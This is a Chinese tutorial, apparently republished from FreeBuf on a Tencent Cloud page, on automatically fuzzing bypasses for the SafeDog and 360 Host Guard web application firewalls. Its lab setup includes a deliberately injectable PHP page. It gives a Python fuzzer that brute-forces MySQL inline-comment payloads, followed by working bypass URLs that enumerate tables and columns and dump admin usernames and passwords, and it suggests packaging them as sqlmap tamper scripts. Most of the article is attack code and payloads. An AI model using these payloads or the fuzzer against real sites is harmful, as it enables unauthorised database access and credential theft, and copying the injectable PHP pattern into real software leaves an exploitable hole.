Fuzz自动化Bypass软WAF姿势

0×00 前言

在我刚接触安全这块时候遇到注入有WAF的网站时候无从下手,寻找各种有关绕过waf的文章,在网页浏览器上使用SQL语句为了绕过WAF变了个法加了些特殊的数字注释符就懵了,当然最后经过精心构造的SQL语句,数据库必须也得能识别并执行。本文主要介绍如何在本地安装软WAF并使用Python写的Fuzz脚本自动化绕过WAF并结合跑出来的Payload语句绕过安全防护软件。文章写的比较细主要分享下,更多细节方面请参考上篇文章 全方位绕过软WAF攻略。

找一些奇葩的语句还可以执行的,或者自己能构造的,说的简单点就和密码爆破一样有些人字典强就可以扫到各种强悍的弱口令,Fuzz跑组合就有姿势了。

0x01 安全狗安装

访问:http://www.safedog.cn/website_safedog.html

选择自己的平台和web容器,我的是windows平台,Apacheweb容器,所以我就下载windows apache版

这里自定义路径,将开机自启动关闭

如果是使用phpstudy的话,请将运行模式改成系统服务,不然前面安全狗的插件会安装不上

0x02**安全狗卸载**

这里讲下细节部分卸载安全狗后出现的问题,启动Apache会发生错误:

在Apache的conf目录下有这样一个文件,SafeDogSiteApacheFilter.Conf,当然当您卸载以后可能这个文件也随之删除了,但是http.conf文件中还有这样一段:Include “d:/wamp/apache24/conf/SafeDogSiteApacheFilter.Conf”,我们只需要删除这段话就可以让apache成功的启动了

SQL注入代码

<?phpheader('content-type:text/html;chaset=utf-8');ini_set('display_errors',0);$mysqli = new mysqli('localhost', 'root','root','fkt');$sql = "select * from new where id=".$_GET["id"];$result = $mysqli->query($sql);if($result === false){//执行失败    echo $mysqli->error;    echo $mysqli->errno;}echo '<hr><table border="1px" align="center">';echo '<tr><th>ID</th><th>a</th><th>fkt</th></tr>';while($row = $result->fetch_assoc()){ echo '<tr>';    echo '<td>'.$row['id'].'</td>';    echo '<td>wait</td>';    echo '<td>'.$row['content'].'</td>';    echo '</tr>';}echo '</table>';$mysqli->close();?>

mysql语句

mysql> create database fkt;Query OK, 1 row affected (0.00 sec)mysql> use fkt;Database changedmysql> CREATE TABLE new(    ->     id int not null,    ->     content char(20)    -> );Query OK, 0 rows affected (0.19 sec)mysql> insert into new    -> values(    -> '1','xiaobai');Query OK, 1 row affected (0.02 sec)

0x03 mysql模拟注入查询**

**

mysql的注释有三种方式:

1、块注释:/ ….. / 2、行注释:# 3、行注释:— (—%20,注意后面有一个空格,与SQL标准稍有差别)

自MySQL3.23 版以来,可在C 风格的注释中“隐藏” MySQL特有的关键字,注释以“/ !”而不是以“ / ”起头

现在我们在mysql命令行中执行一下SQL语句:

Select * from news where id=1Select * from news /*!where*/id=1

我们来看下在命令行下执行的结果:

还是可以正常的查询出内容,我们在mysql命令行中进行下联合查询注入:Order by N

Select * from new where id =1 order by 1;Select * from new where id =1 order by 2;

Order by 测试出字段为2:

使用mysql联合查询步骤,模拟SQL注入回显数据

select * from new where id=1 union all select null,null;select * from new where id=1 and 1=2 union all select null,null;select * from new where id=1 and 1=2 union all select user(),null;

**


这样也是能正常查询出来的

mysql> select * from new where id=1 and 1=2 union all select /*!user*//*!()*/,null;

**


我们在浏览器上通过内联注释注入一下看看会不会被拦截,还是被拦截了,老版本的安全狗可以通过内联注释绕过所以咱们今天Fuzz自动化Bypass的思路就是结合这个内联注释,加一些特殊符号,以及url编码来进行对安全狗的绕过

http://192.168.30.129/fuzz/index.php?id=1/*!union*//*!select*/1,2

**


0x04 Fuzz自动化bypass**

代码比较简洁我就直接给上注释了这样看得清晰点,只要是在释符号里面就可以包括任意特殊的符号等,挡住WAF的视线这样说更明白点。列如: /!unionselect/

Fuzz脚本代码如下:

**


注意底部我的SQL查询的页面中有wait这个字符,没有wait的话你就看看’’正常的页面在有啥必出现的字符 改了就行或者在加个else print (”未过狗”)

code如下:

#encoding=utf-8#实现思路;#不被拦截的页面上会出现字符“wait”#被拦截的不会,使用for循环请求并检查返回的页面中是否存在该字符即可。import requests#引入请求模块url = "http://127.0.0.1/index.php?id=1";#定义目标Fuzz_a = ['/*!','*/','/**/','/','?','~','!','.','%','-','*','+','=']Fuzz_b = ['']Fuzz_c = ['%0a','%0b','%0c','%0d','%0e','%0f','%0h','%0i','%0j']FUZZ = Fuzz_a+Fuzz_b+Fuzz_c#配置fuzz字典header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}#设置请求的headersfor a in FUZZ: pass for b in FUZZ: pass for c in FUZZ: for d in FUZZ: pass for e in FUZZ: pass PYLOAD = "/*!union"+a+b+c+d+e+"select*/ 1,2" urlp = url+PYLOAD res = requests.get(urlp,headers=header) #使用for排列组合fuzz字典并请求页面 if 'wait' in res.text: print ("[*]URL:"+ urlp +"过狗!") f=open('result.txt','a') f.write(urlp+"\n") f.close #如果返回的页面中包含wait字符,则打印并写出过狗payload。

将这段代码放进kali linux,或者windows系统需要安装pip模块python2.7即可然后运行一下

在运行之前一定要将cc防护关闭, 或者把IP黑名单关掉Fuzz过快容易被封IP

在windows系统上运行几分钟后,会出现一个叫result.txt的文件,里面就是我们跑出来的姿势了

kali运行结果如下

随便取一个姿势出来看看姿势有了

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*/1,2

我们来手工绕过下吧!

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user()/*!/*!*/,2

这样又被拦截了,“你不是说绕过了安全狗了吗?”。当然已经绕过了,需要这样写语句

http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,2
http://192.168.30.129/fuzz/index.php?id=1/*!union/*!/*!*//*!select/*!/*!*//*!user/*!/*!()*/,/*!database/*!()*/
http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(table_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.tables/*!/*!*//*!where/*!/*!*//*!table_schema=/*!/*!*//*!database/*!/*!()*/
http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(column_name)/*!/*!*/,NULL/*!from/*!/*!*//*!information_schema.columns/*!/*!*//*!where/*!/*!*//*!table_name=/*!/*!*//*!"admin"/*!/*!*/

获取出了admin表的字段

http://localhost/fuzz/index.php?id=1/*!and/*!/*!*//*!1=2/*!/*!*//*!UNION/*!/*!*//*!ALL/*!/*!*//*!SELECT/*!/*!*//*!group_concat(concat(user,0x2c,pwd))/*!/*!*/,NULL/*!from/*!/*!*//*!admin/*!/*!*/

360主机卫士Fuzz

同样的我们来测试下360主机卫士

Fuzz匹配到的语句

http://192.168.30.135/fuzz/index.php?id=1/!union/!/!/!%0d%0dselect*/ 1,2 取一个姿势试试完全可以

这样就完全没问题了!姿势有了,当然也可以写入到Sqlmap的Tamper脚本上,Copy\slqmap\tamper目录下文件 ,按照他的规则,照着改下就行了

最后附上一个过360主机的脚本 可以参考 按照如下写法

结尾:

文章只是抛砖引玉了下,主要是个思路学习过程,使用Pyhton脚本结合了下Mysql内联注释定义了一些特殊符号相当给脚本配合了一个字典达到Fuzz最终的效果,完了之后 也可以对比一下,看一下能过的Fuzz有没有特点的规律 总结一下。当然也可以自己在自定义一些,在测试其他的软WAF不局限于以上这些内容。

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2018-02-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏沃趣科技

ASM 翻译系列第十五弹:ASM Internal ASM File Directory

原作者:Bane Radulovic 译者: 郭旭瑞 审核: 魏兴华 DBGeeK社群联合出品 ASM File Directory 本篇主要介绍A...

3574
来自专栏邹立巍的专栏

Linux 的进程间通信:文件和文件锁

我们首先引入文件进行 IPC ,试图先使用文件进行通信引入一个竞争条件的概念,然后使用文件锁解决这个问题,从而先从文件的角度来管中窥豹的看一下后续相关 IPC ...

9670
来自专栏Java工程师日常干货

MyBatis+Spring MVC开发指南(一)前言没有MyBatis之前 MyBatis框架的架构Quick StartMapper代理开发关于自增主键返回关于动态SQL

MyBatis+Spring MVC这套组合,在实际互联网项目中非常流行,博主工作中也涉及过,打算由浅入深、系统的写出来!这个系列将会涵盖MyBatis开发详解...

842
来自专栏互联网技术栈

Elasticsearch之元数据(meta-fields)介绍

在Elasticsearch下,一个文档除了有数据之外,它还包含了元数据(Metadata)。每创建一条数据时,都会对元数据进行写入等操作,当然有些元数据是在创...

1506
来自专栏皮皮之路

【MySQL】通过Binary Log简单实现数据回滚(一)

42711
来自专栏帘卷西风的专栏

从零开始编写网络游戏--基础篇(1)

       最近2周比较忙,没有抽出时间来写Blog,不过在这段时间里面把整个思路理了一遍,梳理了一下大纲,以后会多抽时间来写Blog。

1081
来自专栏我叫刘半仙

原分布式系统架构实战demo:SSM+Dubbo

        对于传统的单一构架,也就是打成的war或者ear包部署在同一个Web容器里的构架,它虽然开发、测试、部署简单,但随着业务的不断发展,维护成本增加...

1.4K7
来自专栏互联网高可用架构

初识分库分表框架DBSPLIT

1764
来自专栏晨星先生的自留地

面试中遇到的坑之mysql注入入门

2394
来自专栏沃趣科技

ASM 翻译系列第十二弹:ASM Internal amdu - ASM Metadata Dump Utility

原作者:Bane Radulovic 译者: 庄培培 审核: 魏兴华 DBGeeK社群联合出品 amdu - ASM Metadata Dump U...

3685

扫码关注云+社区

领取腾讯云代金券